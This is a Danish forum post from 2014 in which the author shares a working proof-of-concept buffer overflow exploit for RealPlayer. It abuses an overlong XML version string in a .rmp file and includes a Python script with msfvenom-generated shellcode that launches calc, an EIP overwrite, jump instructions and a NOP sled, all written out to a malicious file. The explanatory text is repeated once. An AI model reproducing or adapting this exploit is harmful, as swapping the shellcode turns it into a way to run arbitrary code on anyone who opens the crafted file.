14-01-2014, 21:15
Sad lige og legede med RealPlayer da jeg havde set på exploit-db at der var en buffer overflow.
Buffer overflow opstår i programmet når den et sted prøver at læse versions nummeret som er defineret i filen med:
Der er 2 offset for at lave et succesfyldt exploit. Jeg har dog kun dækket det når man åbner filen fra menuen.
Når man dobbeltklikker på .rmp filen vil man bruge nogle andre offset. Dette kunne godt tilføjes til nuværende, men magtede ikke at lave det. Opdatere måske med det.
Tror vidst nok jeg rammer min nopsled, da jeg ikke hopper helt præcist. Som i kan se er bufferen med shellcode lagt lige inden mine jmps.
Testet på Windows XP sp3 eng
Shellcode er genereret medDette åbner som i kan se, calc
Buffer overflow opstår i programmet når den et sted prøver at læse versions nummeret som er defineret i filen med:
Kode:
<?xml version="OVERFLOWHERE"?>
Der er 2 offset for at lave et succesfyldt exploit. Jeg har dog kun dækket det når man åbner filen fra menuen.
Når man dobbeltklikker på .rmp filen vil man bruge nogle andre offset. Dette kunne godt tilføjes til nuværende, men magtede ikke at lave det. Opdatere måske med det.
Tror vidst nok jeg rammer min nopsled, da jeg ikke hopper helt præcist. Som i kan se er bufferen med shellcode lagt lige inden mine jmps.
Testet på Windows XP sp3 eng
Shellcode er genereret med
Kode:
./msfvenom -p windows/exec CMD=calc -f python -b '\x0a\x00\xf0\xad\xc4\xe7\x8f\xfe\x62\xfd\xde\xdf\xc8'
openh = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"
closeh = "\x22\x3f\x3e\x3b"
buf = ""
buf += "\xbf\x67\x53\x20\x02\xdd\xc1\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x32\x31\x78\x12\x83\xc0\x04\x03\x1f\x5d\xc2"
buf += "\xf7\x23\x89\x8b\xf8\xdb\x4a\xec\x71\x3e\x7b\x3e\xe5"
buf += "\x4b\x2e\x8e\x6d\x19\xc3\x65\x23\x89\x50\x0b\xec\xbe"
buf += "\xd1\xa6\xca\xf1\xe2\x06\xd3\x5d\x20\x08\xaf\x9f\x75"
buf += "\xea\x8e\x50\x88\xeb\xd7\x8c\x63\xb9\x80\xdb\xd6\x2e"
buf += "\xa4\x99\xea\x4f\x6a\x96\x53\x28\x0f\x68\x27\x82\x0e"
buf += "\xb8\x98\x99\x59\x20\x92\xc6\x79\x51\x77\x15\x45\x18"
buf += "\xfc\xee\x3d\x9b\xd4\x3e\xbd\xaa\x18\xec\x80\x03\x95"
buf += "\xec\xc5\xa3\x46\x9b\x3d\xd0\xfb\x9c\x85\xab\x27\x28"
buf += "\x18\x0b\xa3\x8a\xf8\xaa\x60\x4c\x8a\xa0\xcd\x1a\xd4"
buf += "\xa4\xd0\xcf\x6e\xd0\x59\xee\xa0\x51\x19\xd5\x64\x3a"
buf += "\xf9\x74\x3c\xe6\xac\x89\x5e\x4e\x10\x2c\x14\x7c\x45"
buf += "\x56\x77\xea\x98\xda\x0d\x53\x9a\xe4\x0d\xf3\xf3\xd5"
buf += "\x86\x9c\x84\xe9\x4c\xd9\x7b\xa0\xcd\x4b\x14\x6d\x84"
buf += "\xce\x79\x8e\x72\x0c\x84\x0d\x77\xec\x73\x0d\xf2\xe9"
buf += "\x38\x89\xee\x83\x51\x7c\x11\x30\x51\x55\x72\xd7\xc1"
buf += "\x35\x75"
print len(buf)
eip = "\xd9\xee\x1e\x64"
jmp_bck_5 = "\xeb\xf9\xcc\xcc"
jmp_bck_446 = "\xe9\x3d\xfe\xff\xff"
jmp_bck_650 = "\xe9\x71\xfd\xff\xff"
jmp_bck_197 = "\xe9\x36\xff\xff\xff"
jmp_bck_224 = "\xe9\x1b\xff\xff\xff"
payload = openh + "\x90" * (13595-len(buf)) + buf + jmp_bck_224 + jmp_bck_5 + eip + "\x43" * 16394 + "\x44" * 10000 + closeh
sploit = open('hax.rmp', 'w')
sploit.write(payload)